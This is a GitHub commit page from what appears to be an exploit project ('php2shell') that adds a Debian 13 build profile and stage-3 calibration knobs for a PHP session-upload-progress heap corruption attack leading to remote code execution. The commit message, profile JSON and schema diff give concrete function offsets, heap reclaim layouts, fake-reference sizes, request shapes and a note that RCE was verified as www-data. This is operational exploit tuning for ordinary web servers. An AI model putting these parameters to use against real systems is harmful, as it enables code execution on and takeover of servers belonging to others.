You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
Commit 3d58202
Browse filesBrowse the repository at this point in the historyBrowse files
oOSH4rpZOo
committed
Add deb13-apxs2 amd64 profile and stage-3 composition knobs
New build profile: PHP 8.4.26 source-built mod_php (apxs2) on Debian 13,
Apache 2.4.69 prefork, one worker, amd64. Offsets differ from the docker
8.4.26 image (different toolchain): zif_system 0x3b19a0, zval_ptr_dtor
0x584f00, htdata 0x6e0d8. Stages 1-2 dispatch cleanly with these values.
Third stage-3 layout with a K=5 bin-32 phase shift: the freed session
reference lands at R0 = chunk+0x2260+0x60*K, linear in the number of
preceding bin-32 pads (gdb watchpoint sweep). Five (4,4) pads align the
bin-56 reclaim slot so a 31-byte fake reference is written whole (chars at
R0). The built-in 55-byte ref frames the same payload at R0+8 and never
reclaims here.
New per-build stage-3 knobs (profile fields, env-driven through the same
P2S_STAGE3_PADS pattern): stage3_cookie, stage3_wfields, stage3_fake_len,
stage3_fakes, stage3_b_name_len. php2shell_calibrate.py --stage3-pads
accepts an explicit a:bxN spec alongside the two built-in layouts.
Stage-3 phase is instance-dependent on this build: uid=33(www-data) 4/4
runs with the profile's parameters on one apache master instance, no
reclaim on masters started the same way (probabilistic, like the 8.4.25
profile; restart and retry). Proof command read out-of-band from /tmp
inside the apache mount namespace (PrivateTmp).
All knobs documented in docs/upstream-changes.md section 2b.
"display_errors": "On (vhost php.ini, leak delivered in Set-Cookie)",
43
+
"session_upload_progress": "On",
44
+
"workers": 1
45
+
},
46
+
"measured": {
47
+
"chunk_base": "0x7fbcf4200000"
48
+
},
49
+
"status": "RCE verified on a source-built Debian 13 lab (apxs2, Apache 2.4.69 prefork, 1 worker): uid=33(www-data) 4/4 runs through the vendor engine with this profile's parameters; stages 1-2 dispatch cleanly on every attempt. Stage-3 phase is instance-dependent (after an apache restart, a fresh master may not reclaim; retry on a new instance) and the layout differs from the docker 8.4.26 image (different toolchain): third stage-3 layout with a K=5 bin-32 phase shift. Each (4,4) pad allocates the session reference at the k-th bin-32 slot, shifting the fake-reference slot linearly, R0 = chunk+0x2260+0x60*K (gdb watchpoint sweep 0..16); K=5 places the bin-56 reclaim slot so the 31-byte fake reference is written whole (chars at R0, framing differs from the upstream 55-byte carrier whose chars land at R0+8). Stage-3 request 1 carries a PHPSESSID cookie and five 5-char/1-byte fill fields; request 2 reclaims with 15x 167-byte fake hashtables then 12x 31-byte fake references, all with 3-char field names. Command proof read out-of-band from /tmp inside the apache mount namespace (PrivateTmp; nsenter).",
Copy file name to clipboardExpand all lines: profiles/schema.json
+24Lines changed: 24 additions & 0 deletions
Original file line number
Diff line number
Diff line change
@@ -148,6 +148,30 @@
148
148
"null"
149
149
],
150
150
"description": "Whether the 167-byte carrier string is used. Null when stage 3 is not calibrated."
151
+
},
152
+
"stage3_cookie": {
153
+
"type": "boolean",
154
+
"description": "Send Cookie: PHPSESSID=<32 bytes> on the stage-3 first request (keeps PS(id) valid and participates in the heap phase on some builds)."
155
+
},
156
+
"stage3_wfields": {
157
+
"type": "integer",
158
+
"minimum": 0,
159
+
"description": "Small fill fields (5-char name, 1-byte value) prepended to the stage-3 first request."
160
+
},
161
+
"stage3_fake_len": {
162
+
"type": "integer",
163
+
"minimum": 24,
164
+
"description": "Byte length of the fake-reference zend_string value (31 = chars land at R0 on the deb13-apxs2 build; upstream default 55 = chars at R0+8)."
165
+
},
166
+
"stage3_fakes": {
167
+
"type": "integer",
168
+
"minimum": 1,
169
+
"description": "Number of fake-reference fields in the stage-3 reclaim run."
170
+
},
171
+
"stage3_b_name_len": {
172
+
"type": "integer",
173
+
"minimum": 1,
174
+
"description": "Name length of the stage-3 second-request fields (3-char names shift the reclaim phase versus 31-char names)."
0 commit comments